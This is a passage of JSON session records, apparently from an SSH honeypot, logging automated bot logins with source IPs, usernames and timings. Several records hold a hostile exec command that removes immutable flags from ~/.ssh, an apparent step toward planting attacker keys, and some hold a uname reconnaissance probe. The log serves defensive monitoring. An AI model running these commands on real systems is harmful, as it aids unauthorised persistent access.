  "id": "8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3",
  "name": "fierce-sterling-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:13.209762+00:00",
  "ended_at": "2026-08-27T12:23:14.733002+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4707fd2b-0cc7-4425-8d05-4591f6bd12e3",
  "name": "mottled-umber-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59919,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:58.397054+00:00",
  "ended_at": "2026-08-27T12:23:29.792363+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6a2f706-71bc-4b66-b0aa-c02cd5e0a2fa",
  "name": "hushed-forlorn-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58534,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:57.102309+00:00",
  "ended_at": "2026-08-27T12:22:58.981506+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c999062-d97e-41fa-8813-2603cf53a90f",
  "name": "woven-genial-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 33166,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:56.827609+00:00",
  "ended_at": "2026-08-27T12:22:58.443833+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "800d2bc9-6449-4996-b7db-3134b39789e1",
  "name": "noble-jovial-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58524,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:55.384813+00:00",
  "ended_at": "2026-08-27T12:22:56.516665+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8044f8f-39e0-4199-a63e-2bb9c81a4a3d",
  "name": "solemn-murky-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 33162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:53.160291+00:00",
  "ended_at": "2026-08-27T12:22:55.203391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6fe9484-16da-4765-9244-ea79badb3efd",
  "name": "rustic-inland-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 47424,
  "username": "eve",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:22:40.373918+00:00",
  "ended_at": "2026-08-27T12:22:40.478698+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "84d2a4e8-6fcc-4968-a1e4-a049d8e02664",
  "name": "russet-rugged-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53984,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:47.348913+00:00",
  "ended_at": "2026-08-27T12:21:48.544087+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "cb1cf88d-956b-478c-8b56-58bf2ccaa813",
  "name": "arctic-distant-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 60522,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:33.027216+00:00",
  "ended_at": "2026-08-27T12:21:34.490931+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "409f38cc-6831-4ef8-a575-98aa01aa17e5",
  "name": "rapid-frugal-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45978,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:32.977725+00:00",
  "ended_at": "2026-08-27T12:21:34.112758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00fc180b-beab-4be6-911c-df99e10a1c9f",
  "name": "feral-curious-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45970,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:30.418729+00:00",
  "ended_at": "2026-08-27T12:21:32.323012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0ad5f92-56bf-4336-afe4-a229c3791956",
  "name": "painted-cunning-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 47886,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:16.996512+00:00",
  "ended_at": "2026-08-27T12:21:18.796645+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a07ff39-e5fb-4ef1-8ae6-f25237994c11",
  "name": "arctic-airy-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59582,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:15.821042+00:00",
  "ended_at": "2026-08-27T12:21:17.129068+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "759961b7-75f6-4514-a053-98caf8052b15",
  "name": "cheerful-primal-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 60536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:15.750735+00:00",
  "ended_at": "2026-08-27T12:21:16.475753+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42",
  "name": "feral-thawing-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 47744,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:10.503023+00:00",
  "ended_at": "2026-08-27T12:21:12.216098+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "abc48663-ebb2-48cd-95e5-1257b94f7a0d",
  "name": "upland-crisp-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59598,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:57.617180+00:00",
  "ended_at": "2026-08-27T12:20:59.516048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e695520-55bd-4213-a27b-6412fa1745c7",
  "name": "burly-wooded-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 42468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:56.006166+00:00",
  "ended_at": "2026-08-27T12:20:57.246261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb73b700-f716-4e8e-b0be-8d39abe9d3df",
  "name": "wooded-deft-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59586,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:55.713306+00:00",
  "ended_at": "2026-08-27T12:20:56.714436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56895441-faa4-478f-bf20-8e0a07bfd0fc",
  "name": "loyal-earnest-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47758,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:54.242654+00:00",
  "ended_at": "2026-08-27T12:20:55.421758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d68e795d-0238-423e-96e6-2564f0322124",
  "name": "granite-graceful-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 36960,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:20:26.707624+00:00",
  "ended_at": "2026-08-27T12:20:28.475440+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "462bcad2-96e7-4009-8fcf-c480a2a1195a",
  "name": "scarlet-umber-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53734,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:04.634787+00:00",
  "ended_at": "2026-08-27T12:20:06.896499+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20f77019-7730-417a-9ac6-4b5c555e2111",
  "name": "northern-reedy-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53730,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:00.954638+00:00",
  "ended_at": "2026-08-27T12:20:02.472103+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b8744b2-01e2-49be-bece-36ec39409a93",
  "name": "brisk-blithe-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 40896,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:19:44.225424+00:00",
  "ended_at": "2026-08-27T12:19:45.643083+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "009b68bb-6200-493c-aa95-ab4cd8eeb9be",
  "name": "northern-foggy-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 58604,
  "username": "sniper",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:19:43.363501+00:00",
  "ended_at": "2026-08-27T12:19:43.504396+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "7e0a0c12-8ed0-4750-a081-597d1a4fbf65",
  "name": "muted-mighty-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 45496,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:19:35.417255+00:00",
  "ended_at": "2026-08-27T12:19:36.334650+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "b971e5de-b870-4572-a10d-ec65612c5d25",
  "name": "placid-curious-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:29.542825+00:00",
  "ended_at": "2026-08-27T12:19:30.247531+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e476f28-5a02-45b9-8651-c3b9a7b4af7c",
  "name": "frank-valiant-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40908,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:27.963185+00:00",
  "ended_at": "2026-08-27T12:19:28.850652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7b29fd9-dc80-451c-bffb-5eb8a0edf3fe",
  "name": "tranquil-orderly-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "39.97.53.147",
  "src_port": 49712,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:24.202885+00:00",
  "ended_at": "2026-08-27T12:20:23.408969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47742edf-265f-4760-ac34-b6cd21ca284f",
  "name": "wooded-crimson-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45502,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:12.784539+00:00",
  "ended_at": "2026-08-27T12:19:13.954317+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40ef9361-14d1-487d-b3fc-21af405e6416",
  "name": "burly-steady-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:10.918543+00:00",
  "ended_at": "2026-08-27T12:19:12.256811+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2adc65a9-9a2a-48c2-951c-7a9693314980",
  "name": "early-flinty-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 49492,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:19:01.318517+00:00",
  "ended_at": "2026-08-27T12:19:03.298001+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "e970556b-bf11-4101-94e1-bd615820ad01",
  "name": "umber-courtly-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44786,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:45.502121+00:00",
  "ended_at": "2026-08-27T12:18:47.280886+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6cd2a942-966b-493e-9a88-d45f964b671b",
  "name": "humble-vigilant-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 49498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:44.239960+00:00",
  "ended_at": "2026-08-27T12:18:44.916617+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90f233c9-a27d-4ed5-8e5a-ad096db4b742",
  "name": "murky-obsidian-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59556,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:18:32.276938+00:00",
  "ended_at": "2026-08-27T12:18:33.654095+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "f13b4e3d-6b21-4dfa-b884-c4b10781f0a4",
  "name": "rambling-hearty-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59568,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:14.931067+00:00",
  "ended_at": "2026-08-27T12:18:16.052708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "913179b9-56dc-4558-89de-2ad13d6d9b34",
  "name": "barren-weathered-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59558,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:12.012094+00:00",
  "ended_at": "2026-08-27T12:18:14.022191+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "464cf29c-a5b7-42bb-a3fa-d990165de08a",
  "name": "brave-foggy-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57670,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:17:38.862670+00:00",
  "ended_at": "2026-08-27T12:17:40.888936+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "41f9f301-0f99-43d0-b4ad-6d08299e70d8",
  "name": "canny-autumn-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 55478,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:17:37.816270+00:00",
  "ended_at": "2026-08-27T12:17:39.130521+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2269
 },
 {
  "id": "b79aced4-aad9-4169-a27d-82fe9b3e5e09",
  "name": "wandering-lonesome-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55980,
  "username": "ebi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:17:31.960154+00:00",
  "ended_at": "2026-08-27T12:17:33.416619+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "5955f270-2c68-451d-bb99-898a798c1521",
  "name": "drifting-lonesome-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57688,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:24.769873+00:00",
  "ended_at": "2026-08-27T12:17:25.833022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "060b4211-25b5-40f4-bcf4-d15c66ebd1c2",
  "name": "idle-airy-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57682,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:22.295832+00:00",
  "ended_at": "2026-08-27T12:17:24.113298+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5ac6b47-ec4a-40bf-acd8-6f327c9194c3",
  "name": "thorny-weathered-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55496,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:16.232053+00:00",
  "ended_at": "2026-08-27T12:17:17.574814+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56c6e652-2d12-4249-ade1-296976d94763",
  "name": "languid-pewter-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55998,
  "username": "ebi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:14.081383+00:00",
  "ended_at": "2026-08-27T12:17:15.966865+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9579c70b-9154-4a56-be57-9cbabf6f6b46",
  "name": "quaint-freckled-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55486,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:13.031903+00:00",
  "ended_at": "2026-08-27T12:17:14.783947+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "790f9f13-4402-4279-bb3d-dfb1292d453f",
  "name": "crimson-rugged-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55982,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:11.657520+00:00",
  "ended_at": "2026-08-27T12:17:13.561841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38e87d5e-ef1f-45a2-bb06-542130b3b7bf",
  "name": "hazel-upland-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55238,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:16:49.883425+00:00",
  "ended_at": "2026-08-27T12:16:52.008092+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "5146482d-a0cf-4840-ba88-585b548d6e23",
  "name": "gleaming-northern-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 59438,
  "username": "sniper-bot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 672,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:16:48.385340+00:00",
  "ended_at": "2026-08-27T12:16:49.005613+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "39cfa34a-1021-4e25-82fa-282d65e15778",
  "name": "smoky-obsidian-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40224,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:16:36.444905+00:00",
  "ended_at": "2026-08-27T12:16:37.590640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b474bb0d-860a-4b11-8d4c-3302810b947f",
  "name": "cobalt-nautical-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40208,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:16:35.229277+00:00",
  "ended_at": "2026-08-27T12:16:35.850410+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "081fa199-1224-4a9a-b7fd-383ef9bf1e1c",
  "name": "wry-thorny-coyote",
  "protocol": "ssh",
  "channel_kind": null,
